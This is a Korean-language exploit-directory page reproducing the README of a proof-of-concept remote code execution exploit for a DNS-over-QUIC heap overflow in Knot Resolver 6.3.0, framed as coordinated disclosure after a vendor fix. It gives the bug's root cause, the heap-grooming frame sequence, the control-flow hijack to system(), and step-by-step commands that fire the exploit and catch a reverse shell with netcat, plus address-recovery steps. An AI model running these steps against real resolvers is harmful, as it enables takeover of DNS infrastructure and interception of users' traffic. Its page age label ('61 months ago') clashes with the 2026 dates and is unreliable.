Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
knot-doq — CVE-2026-66374: Knot Resolver 6.3.0 DNS-over-QUIC 힙 오버플로 (RCE) | Kitploit
도구/GitHubGitHub/venglin/knot-doq
Vulnerability AnalysisExploitationNetwork SecurityRemote Access ToolPayload DevelopmentBinary Exploitation
GitHubvenglin/knot-doq

knot-doq

CVE-2026-66374: Knot Resolver 6.3.0 DNS-over-QUIC 힙 오버플로 (RCE)

저장소 보기
61개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Knot Resolver 6.3.0 — DNS-over-QUIC 힙 오버플로 → RCE (PoC)

Knot Resolver의 DNS-over-QUIC(DoQ) 수신 경로에서 원격으로 트리거 가능한 힙 버퍼 오버플로를 이용해 knot-resolver 서비스 사용자 권한으로 원격 코드 실행을 달성하는 개념 증명(PoC)입니다.

  • 구성 요소: kresd DoQ 리스너(daemon/quic_conn.c)
  • 영향 버전: Knot Resolver 6.3.0(6.3.0-cznic.1~bookworm에서 검증)
  • 수정 버전: Knot Resolver 6.4.1(2026-07-22 릴리스)
  • 취약점 등급: 힙 범위 밖 쓰기(CWE-787)
  • 공격 벡터: 네트워크, 인증 불필요 — 단일 QUIC 연결
  • 영향: knot-resolver 권한으로 코드 실행. 최소한 원격 크래시/DoS

벤더 수정 및 권고와 함께 조정된 공개(coordinated disclosure)의 일환으로 게시되었습니다. 공인된 보안 연구 및 방어적 검증 용도로만 사용하십시오.

데모

전체 원격 익스플로잇 — 공격자 박스에서 DNS-over-QUIC을 통해 익스플로잇을 발사하고, knot-resolver 리버스 셸이 nc로 포착됩니다(전체 해상도 동영상을 보려면 클릭):

Knot Resolver 6.3.0 대상 원격 DNS-over-QUIC RCE

Knot Resolver란

Knot Resolver는 CZ.NIC(.cz 레지스트리)이 개발한 오픈소스 캐싱 DNS 재귀 리졸버입니다. 엔드유저 기기, ISP 리졸버 팜, 공공 리졸버 서비스 등 클라이언트를 대신하여 DNS 쿼리를 해석하고 응답을 캐싱합니다. DNS-over-TLS(DoT), DNS-over-HTTPS(DoH), DNS-over-QUIC(DoQ) 등 현대적인 암호화 전송을 지원하며 DNSSEC 검증과 적극적 캐싱(aggressive caching)을 제공합니다.

대규모 ISP 환경에서 인기가 높습니다. 스크립트 가능한 정책, DNSSEC, 암호화 전송, 세밀한 캐싱 등 풍부한 기능과 높은 성능 덕분에 매우 큰 가입자 기반을 서비스하는 데 적합합니다.

데몬(kresd)은 장기 실행 네트워크 서비스로, 리스닝 포트에 도달할 수 있는 모든 호스트의 신뢰할 수 없는 입력에 직접 노출됩니다. 따라서 패킷 수신 경로의 메모리 손상 버그(여기서 악용된 것과 같은)는 원격에서 도달 가능하고 인증이 필요 없는 공격 표면이 됩니다. 리졸버를 장악하면 공격자는 모든 다운스트림 클라이언트에 대한 DNS 응답을 위조할 수 있습니다. 즉, 사실상 모든 트래픽을 리다이렉트하거나 가로챌 수 있습니다.

근본 원인

kr_recv_stream_data_cb()는 DoQ STREAM 프레임을 연결별 입력 버퍼(pers_inbuf)로 재조립합니다. 이 버퍼를 새 총합으로 설정하는 대신 다음과 같이 확장합니다:

root@kitploit:~
pers_inbuf.size += datalen;      /* bug: accumulates, never re-baselines */

여러 프레임에 걸쳐 추적되는 size는 실제 할당 크기보다 커집니다. 따라서 datalen이 부풀려진 size에 들어맞는 마지막 프레임은 재할당을 건너뛰지만, 이후의 memcpy()는 그 부풀려진 크기에 의해 제한되므로 객체 끝을 넘어 씁니다. jemalloc은 객체를 실제 크기 클래스에 고정하므로 초과 바이트는 인접한 슬랩 슬롯에 기록됩니다.

익스플로잇 요약

하나의 스트림에 대한 6개 프레임 시퀀스가 pers_inbuf를 5개의 jemalloc 크기 클래스를 거쳐 6144바이트 클래스로 이동시킨 다음 인접 슬롯으로 오버플로됩니다:

root@kitploit:~
F1  datalen=8                    initial 1200-byte allocation
F2  datalen=1440   realloc  ->   1536-class
F3  datalen=1440   realloc  ->   3072-class
F4  datalen=1440   realloc  ->   5120-class
F5  datalen=1440   realloc  ->   6144-class
F6  datalen=1200, FIN            no realloc -> 814-byte OOB write into slot+1

경량 연결 그루밍(여러 DoQ 연결을 열고 발사 직전에 절반을 해제)을 통해 slot+1에 libgnutls 정리 핸들러가 위치하도록 조정합니다. 오버플로는 해당 핸들러의 디스패치 포인터, 인자, 그리고 디스패치를 허용하는 플래그를 덮어씁니다. 연결 종료 중 libgnutls가 다음을 실행합니다:

root@kitploit:~
call *0x110(%rbx)     ; %rbx = attacker-controlled slot+1

이를 통해 명령 포인터(RIP)와 첫 번째 인자(RDI)를 제어하게 됩니다. PoC는 이를 system()으로 라우팅하며, 같은 슬롯에 기록된 공격자 제공 명령 문자열에 대한 포인터를 전달합니다.

범위: ASLR

이 PoC는 ASLR이 비활성화된(kernel.randomize_va_space = 0) 호스트를 대상으로 합니다. 랜덤화가 꺼져 있으면 힙과 libc 주소가 결정적이므로, 익스플로잇에 필요한 두 주소(slot+1 및 system())는 주어진 빌드에 대해 상수입니다. ASLR 우회는 별개의 문제이며 의도적으로 범위 외로 둡니다 — 목표는 메모리 손상 → 제어 흐름 → 코드 실행 프리미티브를 단독으로 입증하는 것입니다.

주소가 결정적이므로 정보 유출이 필요 없습니다: 익스플로잇은 원격 호스트에서 완전히 네트워크를 통해 실행됩니다. 주소는 동일한 빌드에서 아래의 probe 단계로 한 번만 복구한 후 하드코딩됩니다. 참조 빌드에서는 slot+1 = 0x7ffff66c5000, system = 0x7ffff746a490입니다.

파일 구성

파일용도
poc.py익스플로잇. 모드: probe, rip, exec.
probe.gdb결정적 pers_inbuf를 읽는 gdb 오라클.
README.md이 문서.

공격자 측에는 aioquic이 포함된 Python 3와 netcat이 필요하며, 대상 측에는 1회성 probe 단계에만 gdb가 필요합니다.

사용법 — 원격 리버스 셸(정보 유출 없음)

이것이 핵심 데모입니다. 익스플로잇은 공격자 머신에서 네트워크를 통해 발사되며, 두 개의 결정적 주소가 하드코딩되어 있습니다. 대상에서 읽는 것은 없습니다 — /proc도, gdb도, 로그도 없습니다.

root@kitploit:~
# On the attacker box: listen for the shell
$ nc -lvnp 4444                    # Linux;  on macOS/BSD:  nc -l 4444

# In another terminal: fire the exploit at the target's DoQ port
$ python3 poc.py exec \
      --host <target> --port 8853 \
      --slot1  0x7ffff66c5000 \
      --system 0x7ffff746a490 \
      --lhost <attacker-ip> --lport 4444 \
      --rounds 250

성공한 각 라운드는 대상에서 리버스 셸 명령으로 system()을 호출합니다. 셸은 --lhost:--lport로 다시 연결되며 nc가 이를 수신합니다. 셸이 도착하면 netcat 세션에 입력하여 셸을 제어합니다:

root@kitploit:~
knot-resolver@doqlab:/run/knot-resolver$ id; hostname; uname -srm
uid=104(knot-resolver) gid=109(knot-resolver) groups=109(knot-resolver)
doqlab
Linux 6.1.0-50-cloud-amd64 x86_64

--slot1 / --system 값은 ASLR이 꺼져 있는 동안 상수이므로, 동일한 빌드에서 probe 단계로 한 번만 복구하면 됩니다.

주소 복구(1회성 프로브)

위의 --slot1 / --system 값은 ASLR이 꺼져 있는 동안 상수입니다. 동일한 빌드에서 한 번만 복구하면 됩니다. 전제 조건:

root@kitploit:~
$ sudo sysctl -w kernel.randomize_va_space=0
root@kitploit:~
# slot+1 : gdb oracle reads the deterministic pers_inbuf, +0x1800
$ sudo gdb -batch -p "$(pidof /usr/sbin/kresd)" -x probe.gdb &
$ sudo ./venv/bin/python3 poc.py probe
$ grep slot1 /tmp/pers_inbuf_oracle.txt
CONSUME: buf=0x7ffff66c3800  slot1=0x7ffff66c5000

# system : libc base (ASLR off) + system() offset
$ addr=$(grep -m1 libc.so /proc/$(pidof /usr/sbin/kresd)/maps | cut -d- -f1)
$ printf 'system = 0x%x\n' $((0x$addr + 0x$(readelf --dyn-syms /lib/x86_64-linux-gnu/libc.so.6 | awk '$8 ~ /^system@/ {print $2; exit}')))

poc.py rip --rounds 8은 추가로 원시 RIP/RDI 제어를 시연합니다(대상은 공격자가 선택한 명령 포인터에서 크래시합니다).

신뢰성

참조 빌드(Debian 12, 6.3.0-cznic.1, ASLR 끔)에서 측정한 결과:

프리미티브비율
RIP/RDI 제어(rip, 크래시)라운드당 ~7/8
전체 system() 실행(exec)30–50라운드 중 약 1회

이 격차는 본질적인 문제입니다. system()은 오버플로로 막 손상된 힙에서 실행되므로, 대부분의 디스패치는 자식 프로세스가 생성되기 전에 kresd를 크래시시킵니다. 데몬은 크래시 후 슈퍼바이저에 의해 다시 실행되며, ASLR이 꺼져 있으면 주소가 결정적이고 각 시도는 독립적입니다. 따라서 exec 루프는 하나가 성공할 때까지 단순히 재시도합니다(위의 원격 실행에서는 5라운드 만에 셸이 도착했습니다). 실패한 시도는 일시적인 워커 크래시(DoS)입니다. 그루밍 매개변수 --groom 16 --close 8 --qpc 4는 경험적으로 가장 좋은 기본값입니다. 더 많은 연결 종료(예: --groom 32에서 --close 16)는 성공률을 급락시킵니다.

참조 환경

root@kitploit:~
OS        Debian 12 (bookworm), glibc 2.36
kresd     knot-resolver6 6.3.0-cznic.1~bookworm
libgnutls 3.7.9-2+deb12u7
config    DoQ listener on 127.0.0.1@8853

크기 클래스 지오메트리(6개 프레임, 1200/1440바이트 페이로드)와 libgnutls 디스패치 오프셋은 이 빌드에 특화된 값입니다. 다른 빌드에서는 프레임 크기와 오프셋을 다시 도출해야 합니다.

공개 타임라인

날짜이벤트
2026-06-08취약점을 벤더(CZ.NIC)에 보고.
2026-07-22Knot Resolver 6.4.1에서 수정 릴리스, 벤더 권고 포함.
2026-07-23이 PoC 및 상세 문서 게시.

공개 및 라이선스

2026-06-08에 벤더에 보고되었으며 공식 수정(6.4.1, 2026-07-22)과 협력하여 공개되었습니다. 공인된 테스트, 방어적 검증 및 연구용으로 제공됩니다. 소유하지 않았거나 명시적으로 테스트 권한을 받지 않은 시스템에 대해 실행하지 마십시오.

SPDX-License-Identifier: MIT

도구 다운로드